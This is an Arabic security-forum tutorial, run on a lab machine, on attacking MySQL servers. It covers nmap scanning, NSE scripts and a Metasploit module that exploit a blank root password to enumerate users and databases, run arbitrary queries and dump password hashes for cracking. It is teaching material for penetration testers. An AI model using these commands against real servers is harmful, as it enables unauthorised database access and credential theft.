مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

استهداف قواعد بيانات MySQL


السمعة:

السلام عليكم ورحمة الله وبركاته

سأتحدث في هذا الموضوع عن استهداف قواعد بيانات MySQL وإن شاء الله يكون الموضوع خفيف.

📍ما هي قواعد MySQL ؟
باختصار هي قاعدة البيانات الأكثر شعبية والأكثر استخدامًا، وتعتبر الخيار الأول لدى المطورين خاصة أنها مفتوحة المصدر، كما تدعم هذه القاعدة كثير من لغات البرمجة مثل PHP , Perl, Python حتى أنها تدعم إطار عمل node.js ، كما تستخدمها منصات كبرى مثل منصة x و Linkedin .

📍ما هي خطوات الاستهداف ؟
خطوت الاستهداف سترتكز على 3 ركائز رئيسية وهي :
1 - جمع المعلومات (Information Gathering).
2 - التعداد (Enumeration).
3 - الاستغلال (Exploitation).


والآن لنبدأ على بركة الله ..

سنبدأ أولاً بتوضيح بسيط لاستخدام هذه الخدمة..
إذا كانت لديك خدمة mysql مُفعلة في سيرفرك أو في أحد الأجهزة، حينها بإمكانك أن تتصل بهذه الخدمة عن طريق أداة mysql، وكل ما ستحتاجه هو اسم مستخدم وكلمة مرور وعنوان ip، عليك أيضا أن تعلم أن الخدمة قد تحتوي على أكثر من قاعدة بيانات لذلك وجب التنبيه!

📍طيب، كيف سنستجلب البيانات من القاعدة ؟؟
القاعدة مكونة من جداول، والجداول بها أعمدة، والأعمدة تمتلك بيانات، وهذا هو التدرج الذي سنتبعه للوصول إلى البيانات.
في حالتنا لدينا اسم مستخدم root بلا باسوورد، والسبب أن المطورين عادة أثناء عملهم على قاعدة البيانات يتركو اليوزر بلا كلمة سر لتسهيل عملهم أثناء العمل فلا يضطروا إلى إدخال كلمة السر أكثر من مرة؛ وبالتالي في أحيان كثيرة ينسى المطور إرجاع كلمة السر إلى الحساب، وهذا في حد ذاته يعتبر misconfiguration وبالطبع هذا الأمر لابد من استغلاله،
عمومًا لنجرب الاتصال عن طريق الأمر التالي ..
كود:
mysql -h 192.74.58.3 -u root

والنتيجة كالتالي :

1721318187072.webp
الحمدلله اتصلنا بلا مشاكل، طبعًا نحن هنا نشرح من وجهة نظر المستخدم العادي الذي قام بتفعيل هذه الخدمة.

والآن سنستعرض قواعد البيانات الموجودة عن طريق الأمر التالي :
كود:
SHOW DATABASES;

1721394555597.webp
كما نرى ظهرت لنا القواعد، والآن نحتاج أن نظهر الـجداول (Tables) من أحد هذه القواعد عن طريق الأمر التالي :
سنختار books

كود:
use books;
1721395937851.webp
يظهر لنا جدول واحد، لنستعرض الأعمدة التي يحتويها:
كود:
show columns FROM authors FROM books;
1721396041261.webp
العامود الذي يدعى email يبدو مثيرًا للاهتمام، لنستعرضه ..
كود:
SELECT email FROM authors;
1721396177639.webp
هكذا فهمنا المبدأ، إذا احتجت أن تتعمق في قواعد البيانات أنصحك أن تتعلم sql .

والآن لنبدأ الاستهداف ..


📍جمع المعلومات (Information Gathering) : -
عادة يتم جمع المعلومات على مراحل مختلفة وقد ذكرناها سابقًا في أحد المواضيع السابقة(بإمكانك زيارة الموضوع من هنا ومن هنا أيضًا)، لذلك لن نتحدث كثيراً عن هذه المرحلة وسنكتفي بالبدء بفحص المنافذ في جهاز الضحية عن طريق أداة nmap

من الأفضل أن تكون على علم بهذه الأداة وكيفية استخدامها، بإمكانك الاطلاع على هذا الشرح للأداة من هنا.


يُفضل أيضًا أن يكون لديك معرفة بأساسيات الشبكات واستخدام مشروع metasploit

لنبدأ الفحص ..
كود:
nmap 192.74.58.3 -vv

والنتيجة كالتالي :

1721317175217.webp
يظهر لنا المنفذ الافتراضي لـMySQL متمثلًا في 3306 ، والآن نريد أن نعرف الإصدار الخاص بهذه الخدمة mysql عن طريق الأمر التالي :
كود:
nmap -sV 192.74.58.3 -vv

والنتيجة كالآتي :

1721317419966.webp
كما ترون قد أظهر لنا رقم إصدار الخدمة.

والآن بعد أن عرفنا بوجود الخدمة ورقم الإصدار سننتقل لمرحلة التعداد ونجمع المعلومات بشكل أكبر.


📍التعداد (Enumeration): -

أثناء مرحلة جمع المعلومات ستحتاج أن تبحث عن أسماء مستخدمين كل اسم مستخدم قد تجده سيساعد بشكل أكبر في عملية التعداد وهذا سيتضح لنا من خلال التجربة التي سنطبقها الآن.

سنبدأ باستخدام أحد سكربتات الـnmap ، لنبدأ ..
كود:
nmap -p 3306  192.231.130.3 --script=mysql-empty-password  -vv
1721659586933.webp
يظهر لنا من نتائج السكربت أن اسم المستخدم root ليس له باسسورد وطبعًا مثل ما ذكرنا سابقًا هذا misconfiguration يمكننا استغلاله، سنتعمق الآن في مرحلة التعداد Enumeration
كود:
nmap -p 3306  192.231.130.3 --script=mysql-info  -vv
1721660262359.webp
هذا السكربت سيظهر لك الكثير من المعلومات عن الخدمة، ومن ضمن هذه المعلومات ما يسمى بالـCapabilities، بإمكانك أن تبحث عن كل منها على حِدى، ولكن ما يثير اهتمامنا هو الكلمة التي ظللتها بالأبيض في اليمين "InteractiveClient"
هذا الخاصية تسمح للمستخدم بأن يطبق queries على السيرفر، وطبعًا هذا جداً مفيد وسنستغله لصالحنا.

الآن لنلقي نظرة على سكربتات الـnmap الخاصة بالـmysql .
كود:
ls /usr/share/nmap/scripts/mysql*
1721672282264.webp
كما ترى أخي المسلم يظهر لنا السكربتات الخاصة بالـnmap ، لنجرب الاسكربت الذي يدعى mysql-users
كود:
nmap -p 3306 192.157.146.3 --script mysql-users -vv


1721672628751.webp
لم تظهر لنا أي نتائج تذكر وهذا لسبب بسيط؛ كي يقوم الاسكربت بمعرفة اليوزرات سيحتاج إلى تسجيل الدخول من أي يوزر، وهنا تظهر أهمية إيجاد يوزرات في بداية عملية جمع المعلومات عن mysql، لذلك في هذه الحالة سنستخدم script-args
كود:
nmap -p 3306 192.157.146.3 --script mysql-users --script-args="mysqluser='root',mysqlpass=''" -vv
1721672778614.webp
كما نرى بعد أن استخدمنا اليوزر الذي وجدناه كـ script-args ظهر لنا أسماء المستخدمين(ليس بالضرورة أن يكون الحساب الذي استخدمته يمتلك صلاحية روت) أحيانًا يكون مجرد يوزر عادي ولكن لديه صلاحية للقيام بهكذا أمر.

والآن لنظهر قواعد البيانات باستخدام الـnmap من خلال سكربت يدعى mysql-databases ولكن قبل تشغيله لنقرأ السكربت وننظر كيف يعمل ..
كود:
cat /usr/share/nmap/scripts/mysql-databases.nse
1721673461684.webp
مبدئياً السكربت سهل وبسيط ومليء بالتعليقات التي ستجعلك تفهم السكربت حتى لو كانت خلفيتك البرمجية ضعيفة، لكن خلاصة القول هي أن السكربت يستخدم sql query للوصول إلى قواعد البيانات عن طريق أمر show databases; والذي كنا قد وضحناه سابقاً

هذا خلاصة السكربت وإن كان يقوم بعمل أشياء أخرى لكن هذا الأمر هو جوهر السكربت باختصار
ستجد أيضاً أن مع بداية تشغيل الاسكربت سيبدأ بالبحث عن أي نتائج من الممكن أنك قد حصلت عليها من سكربتات أخرى من الـnmap وإن لم يكن هناك أي نتائج سينظر للأمر إذا ما تم استخدام خاصية script-args كما في الصورة:

1721673791973.webp
أنا شرحت الموضوع باختصار لكن أعتقد أن الصورة قد وضحت ..
الآن لنستخدم السكربت بعد أن عرفنا متطلباته .
كود:
nmap -p 3306 192.157.146.3 --script mysql-databases --script-args="mysqluser='root',mysqlpass=''" -vv

1721673933942.webp

وهكذا تظهر لنا قواعد البيانات بلا أي مشاكل
لنستخدم سكربت آخر من nmap يظهر لنا الـvariables الخاصة بالـmysql
كود:
nmap -p 3306 192.157.146.3 --script mysql-variables --script-args="mysqluser='root',mysqlpass=''" -vv
1721674398521.webp

كما ترى أخي في الله يظهر لنا الكثير من المعلومات، ولكن ما هي الـmysql variables ؟

هي باختصار ذاكرة يقوم المطورين من خلالها بتخزين الكثير من البيانات المتغيرة والمهمة جدًا، والتي تستخدم أساساً في ميكنة الخدمة وكتابة الـqueries الخاصة بها وإدارتها.


طبعاً أي شيء يأتي من تحت يدي المطور هو بالنسبة لنا كنز، وكلما كانت آلية عمل الخدمة أكثر وضوحاً لك كلما تمكنت من استغلال المعلومات التي تحصل عليها.

سنجد من ضمن المعلومات التي تظهر لنا مكان تخزين البيانات على السيرفر كما في الصورة:


1721674647243.webp

وقبل أن ننتقل إلى الخطوة التالية علينا أن نوضح كيف يعمل هذا الاسكربت في الأساس؟
وهو باختصار يقوم باستخدام sql query وهي show variables; هذا باختصار شديد


لنستخدم الآن هذا السكربت mysql-dump-hashes
كود:
nmap -p 3306 192.157.146.3 --script mysql-dump-hashes --script-args="username='root',password=''" -vv
1721675246118.webp

كما نرى قام السكربت بجمع هاشات المستخدمين (يمكن محاولة كسر هذه الهاشات لاحقًا)

والآن سنشرح السكربت الأخير معنا في هذا الدرس ألا وهو mysql-query

كنا في وقت سابق عندما استخدمنا سكربت mysql-info ظهر لنا أننا نستطيع تطبيق queries ولاحظنا أيضًا أن كل السكربتات التي استخدمناها تستخدم query بشكل أو بآخر

لكن ليس من المنطقي أن أستخدم سكربت لكل query على حدا، وهنا يأتي دور هذا السكربت الذي يسمح لك بتطبيق أي query تريده، لنجرب ..

كود:
nmap -p 3306 192.157.146.3 --script mysql-query --script-args="query='select count(*) from books.authors;',username='root',password=''" -vv

1721675782479.webp
كما نرى تم تطبيق الأمر بلا أي مشاكل ..

طبعاً في عملية التعداد (enumeration) لا يمكن أن نستغني عن مشروع الـmetasploit حيث يوجد لدينا الكثير من الـmodules التي يمكن استخدامها..

لنعمل على تجرُبت بعضاً منها ..
كود:
use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS 192.157.146.3
set USERNAME root
set PASSWORD ""
exploit
1721676220583.webp

هذا مثال على استخدام سكربت، يقوم بعمل dump للهاشات مثل ما فعلنا في الـnmap
وهكذا لديك أخي المسلم الكثير من الاسكربتات المتاحة مثل سكربتات التخمين وسكربتات استغلال الثغرات المباشرة إلخ ...

طبعًا لم نتناول استهداف mysql من جانب الويب (web) لأن هذا الشرح موجه لمختبري اختراق الشبكات.

إلى هنا ينتهي ما لدي، سأحرص على أن أُبقي هذا الشرح تحت التحديث الدائم بإذن الله.


اللاب الذي طبقت عليه موجود على منصة Attack defence وبإمكانك أيضا أن تطبق عليه من خلال منصة INE ولكن جميعها تتطلب اشتراك.
بإمكانك أيضا أن تطبق على metasploitable وتجرب


إن أحسنت فمن الله وإن أسأت فمن نفسي والشيطان

دُمتم هكرجية

في أمان الله
 
التعديل الأخير بواسطة المشرف:
بسم الله ما شاء الله موضوع متميز من انسان متميز
بارك الله فيك اخي ابو البراء وجزاك الله كل خير
ننتظر جديدك المتميز دائما حبيبنا
تقبل مروري
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى